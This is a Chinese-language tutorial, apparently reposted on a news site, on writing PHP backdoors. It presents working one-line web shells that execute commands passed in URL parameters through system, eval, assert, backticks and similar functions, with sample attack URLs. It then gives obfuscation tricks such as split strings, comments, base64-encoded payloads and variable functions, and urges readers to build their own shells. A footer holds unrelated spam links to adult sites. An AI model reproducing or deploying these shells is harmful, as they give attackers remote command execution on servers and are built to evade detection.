站長資訊網
        最全最豐富的資訊網站

        php后門的編寫

        0x1 原理 1、執行系統命令的函數 proc_open, popen, exec, shell_exec,passthru,system 這里只給出兩個例子,其他的可以查看php手冊編寫 system() ? php system($_GET[‘input’]); ? http://192.168.247.133:81/shell.php?input=dir “執行命令 “執行命令等…

        0x1 原理

        1、執行系統命令的函數

        proc_open, popen, exec, shell_exec,passthru,system

        這里只給出兩個例子,其他的可以查看php手冊編寫

         

        system()

        1. <?php 
        2. system($_GET[‘input’]); 
        3. ?> 

        http://192.168.247.133:81/shell.php?input=dir

         

        ““”執行命令

        “執行命令等價于shell_exec()函數來執行命令。

        1. <?php 
        2. echo`$_GET[input]`; 
        3. ?> 

        http://192.168.247.133:81/shell.php?input=dir

        再來個更短的

        1. <?=@`$_GET[c]`?> 

        http://192.168.247.133:81/shell.php?c=dir

        注:這個要開啟short_open_tag的,不過默認為on

        2、可以執行代碼的函數

        eval() 函數把字符串按照PHP 代碼來計算,該字符串必須是合法的PHP 代碼,且必須以分號結尾。

        1. <?php 
        2. eval($_GET[‘input’]); 
        3. ?> 

        正則表達式

        Preg_replace函數的作用是用來執行常規表達式的查找和替換的,Mixed preg_replace(mixed pattern, mixed replacement, mixed subject,int limit, int &count)其中,Pattern是用來查找的常規表達式,replacement是用來替換的字符串,submit是要查找替換的字符串,limit是可以替換的字符串數,count是成功替換的數目。函數將返回替換后的字符串,當Pattern參數使用/e修正符時,preg_replace函數會將replacement參數當作PHP代碼執行。

        1. <?php 
        2. preg_replace(“//e”,$_GET[‘input’],”qingsh4n”); 
        3. ?> 

        assert()

        assert這個函數在php語言中是用來判斷一個表達式是否成立。但是其字符串參數會被執行。

        1. <?php 
        2. assert($_GET[‘input’]); 
        3. ?> 

        ob_start()

        1. <?php 
        2. $foobar =$_GET[‘input1’]; 
        3. ob_start($foobar); 
        4. echo$_GET[‘input2’]; 
        5. ob_end_flush(); 
        6. ?> 

        http://192.168.247.133:81/shell.php?input1=system&input2=dir

        更多的函數需要同志們去挖掘。

        0x2 如何混淆

        1、注釋/**/

        1. <?php 
        2. assert/**/($/**/{“_GET”}[‘input’]); 
        3. ?> 

        2、連接號

        php中“.”為字符串連接符號

        1. <?php 
        2. $var =”a”; 
        3. $var .=”ss”; 
        4. $var .=”er”; 
        5. $var .=”t”; 
        6. $var($_GET[‘input’]); 
        7. ?> 

        注:測試時發現,echo()、eval()等函數無效。

         

        3、創建函數

        create_function() 創建一個匿名函數

        1. <?php 
        2. $foobar =$_GET[‘input’]; 
        3. $dyn_func =create_function(‘$qingsh4n’, “echo $foobar;”); 
        4. $dyn_func(”); 
        5. ?> 

        5、編碼函數,base64等

        1. <?php 
        2. assert(base64_decode(‘ZXZhbCgkX0dFVFsnaW5wdXQnXSk7’)); 
        3. ?> 

        注:其他的編碼函數有gzinflate()、gzuncompress()、gzdecode()、str_rot13()等,可以查看php手冊編寫。

         

        6、可變函數

        PHP 支持可變函數的概念。這意味著如果一個變量名后有圓括號,PHP 將尋找與變量的值同名的函數,并且嘗試執行它。

        1. <?php 
        2. $dyn_func =$_GET[‘dyn_func’]; 
        3. $argument =$_GET[‘argument’]; 
        4. $dyn_func($argument); 
        5. ?> 

        如果register_globals=on時,代碼可以改為如下形式:

        1. <?php 
        2. $input1($input2); 
        3. ?> 

        http://192.168.247.133:81/shell.php?input1=system&input2=dir

        注:同樣可以利用call_user_func()、array_walk()等函數

        0x3 編寫自己的webshell

        通過上面的知識,可以任意組合上面寫到的代碼執行和混淆技術,編寫屬于自己的php后門應該是順手拈來的事,如果誰有好的發現或者是奇淫技巧記得告訴我。最后附上酷殼上面關于hello world的6種變態寫法,也許在這里面會找到些許靈感。

        0x4 參考

        http://www.php.net/

        http://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html#sec22

        http://www.t00ls.net/viewthread.php?tid=18951

        http://hi.baidu.com/monyer/item/a218dbadf2afc7a828ce9d63

        http://h.ackack.net/tiny-php-shell.html

        http://www.rising.com.cn/newsletter/news/2012-06-27/11810.html

         

        ps:本來想好好寫完的,但是看到moyer牛那篇文章后,一下子感覺寫的這些都蒼白無力了。

         

        贊(0)
        分享到: 更多 (0)
        網站地圖   滬ICP備18035694號-2    滬公網安備31011702889846號
        主站蜘蛛池模板: 精品国产福利尤物免费| 亚洲精品国产成人片| 777久久精品一区二区三区无码| 国产午夜精品理论片免费观看 | 亚洲精品国产va在线观看蜜芽| 国产午夜精品理论片久久影视| 亚洲线精品一区二区三区| 国产精品福利区一区二区三区四区| 精品乱码久久久久久久| 中文字幕无码精品亚洲资源网久久| 91精品国产福利在线观看麻豆| 51午夜精品免费视频| 亚洲精品成人片在线观看精品字幕| 国产偷国产偷高清精品| 91国内揄拍国内精品情侣对白| 国产欧美精品AAAAAA片| 久久久精品2019免费观看| 伊人精品久久久久7777| 久久精品夜色噜噜亚洲A∨| 国产精品欧美一区二区三区| 午夜精品视频在线| 国产高清国产精品国产专区| 精品日韩亚洲AV无码 | 88国产精品欧美一区二区三区| 国产午夜精品视频| 99re久久精品国产首页2020| 久久久一本精品99久久精品66| 自拍偷在线精品自拍偷无码专区| 欧美日韩国产中文精品字幕自在自线| 国产乱人伦偷精品视频| 国产精品网址在线观看你懂的| 成人国内精品久久久久影院VR | 国产成人精品久久免费动漫| 国内精品九九久久久精品| 婷婷国产成人精品视频| 亚洲精品二区国产综合野狼| 四虎影视永久在线精品| 亚洲爆乳无码精品AAA片蜜桃| 免费看污污的网站欧美国产精品不卡在线观看 | 中文字幕精品视频| 久久96国产精品久久久|